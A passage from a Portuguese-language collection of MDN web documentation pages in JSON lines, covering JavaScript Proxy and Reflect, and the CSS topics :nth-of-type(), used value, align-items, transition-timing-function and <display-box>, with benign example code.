chaves de todas as propriedades\n próprias não configuráveis do objeto de destino.\n* Se o objeto de destino não for extensível, a Lista de resultados\n deverá conter todas as chaves das próprias propriedades do objeto de\n destino e nenhum outro valor.\n |\n| `handler.apply()` (en-US) | `proxy(..args)``Function.prototype.apply()` and\n `Function.prototype.call()``Reflect.apply()` | Não há invariantes para o método `handler.apply` |\n| `handler.construct()` (en-US) | `new proxy(...args)``Reflect.construct()` | O resultado deve ser um `Object`. |\n\nProxy Revogável\n---------------\n\nO método `Proxy.revocable()` (en-US) é utilizado para criar um objeto Proxy revogável. Isso significa que o proxy pode ser revogado através da função `revoke`, desligando-o. Depois disso, qualquer operação com o proxy lançará um `TypeError`.\n\n\n```js\nvar revocable = Proxy.revocable(\n  {},\n  {\n    get: function (target, name) {\n      return \"[[\" + name + \"]]\";\n    },\n  },\n);\nvar proxy = revocable.proxy;\nconsole.log(proxy.foo); // \"[[foo]]\"\n\nrevocable.revoke();\n\nconsole.log(proxy.foo); // TypeError é lançado\nproxy.foo = 1; // TypeError novamente\ndelete proxy.foo; // ainda um TypeError\ntypeof proxy; // \"object\", typeof não desencadeia nenhuma trap\n```\n\nReflexão\n--------\n\n`Reflect` é um objeto embutido que contém métodos que permitem a criação de operações interceptáveis em JavaScript. Os métodos são iguais àqueles de proxy handlers (en-US). `Reflect` não é um objeto do tipo function.\n\n`Reflect` auxilia no encaminhamento de operações padrão do handler para o target.\n\n`Reflect.has()` (en-US), por exemplo, tem o mesmo efeito prático que o operador in, com a facilidade de ser utilizado como uma função:\n\n\n```js\nReflect.has(Object, \"assign\"); // true\n```\n\n### Uma função `apply` melhorada\n\nEm ES5, você normalmente utiliza o método `Function.prototype.apply()` para invocar uma função com um dado valor para `this` e `arguments` fornecido como um array (ou um objeto parecido com um array).\n\n\n```js\nFunction.prototype.apply.call(Math.floor, undefined, [1.75]);\n```\n\n\nCom `Reflect.apply` essa operação se torna menos verbosa e mais fácil de compreender:\n\n\n```js\nReflect.apply(Math.floor, undefined, [1.75]);\n// 1;\n\nReflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);\n// \"hello\"\n\nReflect.apply(RegExp.prototype.exec, /ab/, [\"confabulation\"]).index;\n// 4\n\nReflect.apply(\"\".charAt, \"ponies\", [3]);\n// \"i\"\n```\n\n### Verificando se a definição da propriedade obteve sucesso\n\nCom `Object.defineProperty`, a qual retorna um `object` em caso de sucesso ou lança um `TypeError` em caso contrário, você utilizaria um bloco `try...catch` para capturar qualquer erro que tenha ocorrido ao definir uma propriedade. Devido ao fato de `Reflect.defineProperty` retornar um status do tipo `Boolean`, você pode simplesmente utilizar aqui um bloco `if...else`:\n\n\n```js\nif (Reflect.defineProperty(target, property, attributes)) {\n  // success\n} else {\n  // failure\n}\n```\n\n* « Previous"}
{"title":":nth-of-type() - CSS","text":":nth-of-type()\n==============\n\nA pseudo-classe CSS **`:nth-of-type()`** corresponde a um ou mais elementos de um dado tipo, baseado em sua posição entre um grupo de irmãos.\n\n\n```css\n/\\* Seleciona cada quarto elemento <p>\n entre qualquer grupo de irmãos \\*/\np:nth-of-type(4n) {\n  color: lime;\n}\n```\n\nSintaxe\n-------\n\nA pseudo-classe `nth-of-type` é especificada com um único argumento, o qual representa o padrão para a correspondência dos elementos.\n\nVeja `:nth-child` para uma explicação mais detalhada de sua sintaxe.\n\n### Sintaxe formal\n\nError: could not find syntax for this itemExemplos\n--------\n\n### Exemplo básico\n\n#### HTML\n\n\n```html\n<div>\n  <div>Este elemento não é contado.</div>\n  <p>1º parágrafo.</p>\n  <p>2º parágrafo.</p>\n  <div>Este elemento não é contado.</div>\n  <p>3º parágrafo.</p>\n  <p>4º parágrafo.</p>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n/\\* Parágrafos ímpares \\*/\np:nth-of-type(2n + 1) {\n  color: red;\n}\n\n/\\* Parágrafos pares \\*/\np:nth-of-type(2n) {\n  color: blue;\n}\n\n/\\* Primeiro parágrafo \\*/\np:nth-of-type(1) {\n  font-weight: bold;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # nth-of-type-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:nth-child`, `:nth-last-of-type` (en-US)"}
{"title":"Valor usado - CSS","text":"Valor usado\n===========\n\nO **valor usado** de uma propriedade CSS é o valor final dessa propriedade depois de todos os cálculos terem sido executados.\n\nAfter the user agent has finished its calculations, every CSS property has a used value. The used values of dimensions (e.g., `width`, `line-height`) are in pixels. The used values of shorthand properties (e.g., background) are consistent with those of their component properties (e.g., `background-color`, `display)` and with `position` and `float`.\n\nFor some properties, JavaScript can retrieve the used value through the window.getComputedStyle (en-US) method.\n\nDetalhes\n--------\n\nThere are four steps to calculating any CSS property's final value. First, the specified value (en-US) is the result of cascading (choosing the most specific stylesheet rule that changes the property), inheritance (en-US) (using the same computed value as a parent if the property is inheritable), or using the default. Then, the computed value (en-US) is calculated according to the specification (for example, a `span` with `position: absolute` will have its computed `display` changed to `block`). Then, layout is calculated (dimensions that are `auto` or percentages relative to a parent are replaced with pixel values), and the result is the **used value**.\n\nFinally, transformed according to the limitations of the local environment, the result is actual value. The actual value is the used value after any approximations have been applied. For example, a user agent may only be able to render borders with integer pixel widths, and therefore have to approximate the computed width, or the user agent may be forced to use only black and white shades, instead of full color. These steps are calculated internally.\n\nJavaScript can read only the final used values with window.getComputedStyle (en-US). This method may instead return computed values, depending on the property. The values it returns are generically called `resolved values` (en-US)).\n\nExemplo\n-------\n\nCompute and show the used width of three elements (updates on resize):\n\n### HTML\n\n\n```html\n<div id=\"no-width\">\n  <p>No explicit width.</p>\n  <p class=\"show-used-width\">..</p>\n\n  <div id=\"width-50\">\n    <p>Explicit width: 50%.</p>\n    <p class=\"show-used-width\">..</p>\n\n    <div id=\"width-inherit\">\n      <p>Explicit width: inherit.</p>\n      <p class=\"show-used-width\">..</p>\n    </div>\n  </div>\n</div>\n```\n\n### CSS\n\n\n```css\n#no-width {\n  width: auto;\n}\n\n#width-50 {\n  width: 50%;\n}\n\n#width-inherit {\n  width: inherit;\n}\n\n/\\* Make results easier to see: \\*/\ndiv {\n  border: 1px solid red;\n  padding: 8px;\n}\n```\n\n### JavaScript\n\n\n```js\nfunction updateUsedWidth(id) {\n  var div = document.getElementById(id);\n  var par = document.querySelector(`#${id} .show-used-width`);\n  var wid = window.getComputedStyle(div)[\"width\"];\n  par.textContent = `Used width: ${wid}.`;\n}\n\nfunction updateAllUsedWidths() {\n  updateUsedWidth(\"no-width\");\n  updateUsedWidth(\"width-50\");\n  updateUsedWidth(\"width-inherit\");\n}\n\nupdateAllUsedWidths();\nwindow.addEventListener(\"resize\", updateAllUsedWidths);\n```\n\n### Resultado\n\nDiferentes valores computados\n-----------------------------\n\nCSS 2.0 defined only computed value (en-US) as the last step in a property's calculation. Then, CSS 2.1 introduced the distinct definition of used value. An element could then explicitly inherit a width/height of a parent, whose computed value is a percentage. For CSS properties that don't depend on layout (e.g., display, font-size, line-height), the computed values and used values are the same. These are the CSS 2.1 properties that do depend on layout, so they have a different computed value and used value: (taken from CSS 2.1 Changes: Specified, computed, and actual values):\n\n* background-position\n* bottom, left, right, top\n* height, width\n* margin-bottom, margin-left, margin-right, margin-top,\n* min-height, min-width\n* padding-bottom, padding-left, padding-right, padding-top\n* text-indent\nEspecificações\n--------------\n\nCSS Level 2: Used Values\n\nVeja também\n-----------\n\n* CSS Reference (en-US)\n* window.getComputedStyle (en-US)"}
{"title":"align-items - CSS","text":"align-items\n===========\n\nA propriedade CSS **`align-items`** estabelece o valor `align-self` em todos filhos diretos como um grupo. A propriedade align-self estabelece o alinhamento de um certo item dentro do bloco que o contém. Em Flexbox ele controla o alinhamento dos itens em Cross Axis (en-US), enquanto que no Grid Layout, controla o alinhamento dos itens no Eixo de Bloco dentro de sua grid area.\n\nO exemplo interativo abaixo demonstra alguns dos valores para `align-items` usando grid layout.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```css\n/\\* Palavras-chave básicas \\*/\nalign-items: normal;\nalign-items: stretch;\n\n/\\* Posicionamento do alinhamento \\*/\n/\\* align-items não recebe valores left e right \\*/\nalign-items: center; /\\* Itens posicionados ao redor do centro \\*/\nalign-items: start; /\\* Posiciona itens a partir do início \\*/\nalign-items: end; /\\* Posiciona itens a partir do fim \\*/\nalign-items: flex-start; /\\* Posiciona itens-flex a partir do início \\*/\nalign-items: flex-end; /\\* Posiciona itens-flex a partir do fim \\*/\nalign-items: self-start;\nalign-items: self-end;\n\n/\\* Alinhamento da baseline \\*/\nalign-items: baseline;\nalign-items: first baseline;\nalign-items: last baseline; /\\* Overflow alinhamento (apenas para alinhamento de posição) \\*/\nalign-items: safe center;\nalign-items: unsafe center;\n\n/\\* Valores globais \\*/\nalign-items: inherit;\nalign-items: initial;\nalign-items: unset;\n```\n\n### Valores\n\n`normal`\n\nO efeito desta palavra-chave depende do modo de layout em que nos encontramos:\n\n* Em layouts absolutamente posicionados, a palavra-chave se comporta como `start` em *replaced* de caixas absolutamente posicionadas, e como `stretch` em *all others* de caixas absolutamente posicionadas.\n* Em posição estática de layouts absolutamente posicionados, a palavra-chave se comporta como `stretch`.\n* Para itens-flex, a palavra chave se comporto como `stretch`.\n* Para itens-grid, esta palavra-chave leva a um comportamento similiar ao `stretch`, exceto para caixas com um aspect ratio ou tamanhos intrínsecos, onde se comporta como `start`.\n* A propriedade não se aplica para caixas block-level, e para células de tabela.\n\n`flex-start`\n\nAs bordas da margem superior dos itens-flex são juntados com a borda superior da linha.\n\n`flex-end`\n\nAs bordas da margem inferior dos itens flex são juntados com a borda inferior da linha.\n\n`center`\n\nAs caixas de margem dos itens flex são centralizados ao longo da linha do eixo. Caso o tamanho de um item seja superior ao container flex, irá transbordar de maneira igual em ambas direções.\n\n`start`\n\nOs itens são posicionados, para cada um, em direção a borda início do container de alinhamento no eixo apropriado.\n\n`end`\n\nOs itens são posicionados, para cada um, em direção a borda fim do container de alinhamento no eixo apropriado.\n\n`self-start`\n\nOs itens são posicionados para a borda do container de alinhamento do lado inicial do item, no eixo apropriado.\n\n`self-end`\n\nOs itens são posicionados para a borda do container de alinhamento do lado final do item, no eixo apropriado.\n\n`baseline`\n\n`first baseline`\n\n`last baseline`\n\nTodos itens-flex são alinhados de tal forma que suas baselines de container flex estejam alinhados. O item com a maior distância entre o eixo de início de sua margem e sua baseline é juntado com eixo de início da linha.\n\n`stretch`\n\nItens-flex são esticados de tal maneira que o tamanho da caixa de margem do item seja o mesmo da linha, respeitando as restrições de comprimento e altura.\n\n`safe`\n\nUsado em conjunto com uma palavra-chave de alinhamento. Se a palavra-chave escolhida signifique que o item transborde o alinhamento do container, causando assim perda de dados, o item é alinhado como estivesse no modo `start`.\n\n`unsafe`\n\nUsado em conjunto com uma palavra-chave de alinhamento. Independente dos tamanhos relativos do item, do alinhamento do container e caso overflow possa causar perda de dados, o valor de alinhamento estabelecido é mantido.\n\n### Sintaxe formal\n```\n\nalign-items =   \n  normal                                    | (en-US)  \n  stretch                                   | (en-US)  \n  <baseline-position>                       | (en-US)  \n  [ (en-US) <overflow-position>? (en-US) <self-position> ] (en-US)  | (en-US)  \n  anchor-center                               \n  \n<baseline-position> =   \n  [ (en-US) first | (en-US) last ] (en-US)? (en-US)  && (en-US)  \n  baseline             \n  \n<overflow-position> =   \n  unsafe  | (en-US)  \n  safe      \n  \n<self-position> =   \n  center      | (en-US)  \n  start       | (en-US)  \n  end         | (en-US)  \n  self-start  | (en-US)  \n  self-end    | (en-US)  \n  flex-start  | (en-US)  \n  flex-end      \n  \n```\n\nExemplo\n-------\n\n### CSS\n\n\n```css\n#container {\n  height: 200px;\n  width: 240px;\n  align-items: center; /\\* Pode ser mudado na amostra ao vivo \\*/\n  background-color: #8c8c8c;\n}\n\n.flex {\n  display: flex;\n  flex-wrap: wrap;\n}\n\n.grid {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, 50px);\n}\n\ndiv > div {\n  box-sizing: border-box;\n  border: 2px solid #8c8c8c;\n  width: 50px;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n}\n\n#item1 {\n  background-color: #8cffa0;\n  min-height: 30px;\n}\n\n#item2 {\n  background-color: #a0c8ff;\n  min-height: 50px;\n}\n\n#item3 {\n  background-color: #ffa08c;\n  min-height: 40px;\n}\n\n#item4 {\n  background-color: #ffff8c;\n  min-height: 60px;\n}\n\n#item5 {\n  background-color: #ff8cff;\n  min-height: 70px;\n}\n\n#item6 {\n  background-color: #8cffff;\n  min-height: 50px;\n  font-size: 30px;\n}\n\nselect {\n  font-size: 16px;\n}\n\n.row {\n  margin-top: 10px;\n}\n```\n\n### HTML\n\n\n```html\n<div id=\"container\" class=\"flex\">\n  <div id=\"item1\">1</div>\n  <div id=\"item2\">2</div>\n  <div id=\"item3\">3</div>\n  <div id=\"item4\">4</div>\n  <div id=\"item5\">5</div>\n  <div id=\"item6\">6</div>\n</div>\n\n<div class=\"row\">\n  <label for=\"display\">display: </label>\n  <select id=\"display\">\n    <option value=\"flex\">flex</option>\n    <option value=\"grid\">grid</option>\n  </select>\n</div>\n\n<div class=\"row\">\n  <label for=\"values\">align-items: </label>\n  <select id=\"values\">\n    <option value=\"normal\">normal</option>\n    <option value=\"flex-start\">flex-start</option>\n    <option value=\"flex-end\">flex-end</option>\n    <option value=\"center\" selected>center</option>\n    <option value=\"baseline\">baseline</option>\n    <option value=\"stretch\">stretch</option>\n\n    <option value=\"start\">start</option>\n    <option value=\"end\">end</option>\n    <option value=\"self-start\">self-start</option>\n    <option value=\"self-end\">self-end</option>\n    <option value=\"left\">left</option>\n    <option value=\"right\">right</option>\n\n    <option value=\"first baseline\">first baseline</option>\n    <option value=\"last baseline\">last baseline</option>\n\n    <option value=\"safe center\">safe center</option>\n    <option value=\"unsafe center\">unsafe center</option>\n    <option value=\"safe right\">safe right</option>\n    <option value=\"unsafe right\">unsafe right</option>\n    <option value=\"safe end\">safe end</option>\n    <option value=\"unsafe end\">unsafe end</option>\n    <option value=\"safe self-end\">safe self-end</option>\n    <option value=\"unsafe self-end\">unsafe self-end</option>\n    <option value=\"safe flex-end\">safe flex-end</option>\n    <option value=\"unsafe flex-end\">unsafe flex-end</option>\n  </select>\n</div>\n```\n\n\n```\nvar values = document.getElementById(\"values\");\nvar display = document.getElementById(\"display\");\nvar container = document.getElementById(\"container\");\n\nvalues.addEventListener(\"change\", function (evt) {\n  container.style.alignItems = evt.target.value;\n});\n\ndisplay.addEventListener(\"change\", function (evt) {\n  container.className = evt.target.value;\n});\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Alignment Module Level 3 # align-items-property |\n| CSS Flexible Box Layout Module Level 1 # align-items-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### Support in Flex layout\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* CSS Flexbox Guide: *Basic Concepts of Flexbox*\n* CSS Flexbox Guide: *Aligning items in a flex container*\n* CSS Grid Guide: *Box alignment in CSS Grid layouts (en-US)*\n* CSS Box Alignment (en-US)\n* The `align-self` property"}
{"title":"transition-timing-function - CSS","text":"transition-timing-function\n==========================\n\nA propriedade CSS **`transition-timing-function`** é usada para descrever como os valores intermediários das propriedades CSS sendo afetados por um efeito de transição são calculados. Em essência isso permite você estabelecer uma curva de aceleração, para que então a velocidade da transição possa variar durante sua duração.\n\nEssa curva de aceleração é definida usando `<timing-function>` (en-US) para cada propriedade a ser transicionada.\n\n\n```css\n/\\* Keyword values \\*/\ntransition-timing-function: ease;\ntransition-timing-function: ease-in;\ntransition-timing-function: ease-out;\ntransition-timing-function: ease-in-out;\ntransition-timing-function: linear;\ntransition-timing-function: step-start;\ntransition-timing-function: step-end;\n\n/\\* Function values \\*/\ntransition-timing-function: steps(4, end);\ntransition-timing-function: cubic-bezier(0.1, 0.7, 1, 0.1);\ntransition-timing-function: frames(10);\n\n/\\* Multiple timing functions \\*/\ntransition-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1, 0.1);\n\n/\\* Global values \\*/\ntransition-timing-function: inherit;\ntransition-timing-function: initial;\ntransition-timing-function: unset;\n```\n\n\nYou may specify multiple timing functions; each one will be applied to the corresponding property as specified by the `transition-property` (en-US) property, which acts as a master list. If there are fewer functions specified than in the master list, missing values are set to the initial value (`ease`). If there are more timing functions, the list is simply truncated to the right size. In both case the CSS declaration stays valid.\n\n|  |  |\n| --- | --- |\n| Initial value | `ease` |\n| Aplica-se a | all elements, `::before` and `::after` pseudo-elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | Not animatable |\n\nSyntax\n------\n\n### Values\n\n`<timing-function>`\n\nEach `<timing-function>` (en-US) represents the timing function to link to the corresponding property to transition, as defined in `transition-property` (en-US).\n\n### Formal syntax\n```\n\ntransition-timing-function =   \n  <easing-function># (en-US)    \n  \n<easing-function> =   \n  linear                          | (en-US)  \n  <linear-easing-function>        | (en-US)  \n  <cubic-bezier-easing-function>  | (en-US)  \n  <step-easing-function>            \n  \n<linear-easing-function> =   \n  linear( <linear-stop-list> )    \n  \n<cubic-bezier-easing-function> =   \n  ease                                                | (en-US)  \n  ease-in                                             | (en-US)  \n  ease-out                                            | (en-US)  \n  ease-in-out                                         | (en-US)  \n  cubic-bezier( <number [0,1]> , <number> , <number [0,1]> , <number> )    \n  \n<step-easing-function> =   \n  step-start                             | (en-US)  \n  step-end                               | (en-US)  \n  steps( <integer> (en-US) , <step-position>? (en-US) )    \n  \n<linear-stop-list> =   \n  [ (en-US) <linear-stop> ] (en-US)# (en-US)    \n  \n<step-position> =   \n  jump-start  | (en-US)  \n  jump-end    | (en-US)  \n  jump-none   | (en-US)  \n  jump-both   | (en-US)  \n  start       | (en-US)  \n  end           \n  \n<linear-stop> =   \n  <number>               && (en-US)  \n  <linear-stop-length>? (en-US)    \n  \n<linear-stop-length> =   \n  <percentage> (en-US){1,2} (en-US)    \n  \n```\n\nExamples\n--------\n\n`transition-timing-function: ease`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: ease;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: ease;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: ease-in`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease-in;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: ease-in;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease-in;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: ease-in;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: ease-out`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease-out;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: ease-out;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease-out;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: ease-out;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: ease-in-out`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: ease-in-out;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: ease-in-out;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: linear`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: linear;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: linear;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: step-start`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: step-start;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: step-start;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: step-start;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: step-start;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: step-end`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: step-end;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: step-end;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: step-end;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: step-end;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: steps(4, end)`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: steps(4, end);\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: steps(4, end);\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: steps(4, end);\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-timing-function: steps(4, end);\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Transitions # transition-timing-function-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Using CSS transitions (en-US)\n* `TransitionEvent` (en-US)"}
{"title":"<display-box> - CSS","text":"<display-box>\n=============\n\nEssas palavras-chave definem se um elemento gera caixas de exibição.\n\nSintaxe\n-------\n\n`contents` \nExperimental\n\nEsses elementos não produzem uma caixa específica por si mesmos. Eles são substituídos por sua pseudo-caixa e suas caixas filho. Observe que a especificação CSS Display Level 3 define como o `contents`\n\no valor deve afetar \"elementos incomuns\" - elementos que não são renderizados apenas pelos conceitos da caixa CSS, como elementos substituídos. Consulte o Apêndice B: Efeitos da exibição: conteúdo em Elementos incomuns para obter mais detalhes.\n\nDevido a um erro nos navegadores, atualmente isso remove o elemento da árvore de acessibilidade - os leitores de tela não analisam o que está dentro. Consulte a seção Preocupações com acessibilidade abaixo para obter mais detalhes.\n\n`none`\n\n Desativa a exibição de um elemento para que não tenha efeito no layout (o documento é renderizado como se o elemento não existisse). Todos os elementos descendentes também têm a exibição desativada.\n Para que um elemento ocupe o espaço que normalmente ocuparia, mas sem renderizar nada, use o `visibility` propriedade em vez disso.\n\n\n### Sintaxe formal\n```\n\n<display-box> =   \n  contents  | (en-US)  \n  none        \n  \n```\n\nExemplos\n--------\n\nNeste primeiro exemplo, o parágrafo com uma classe de 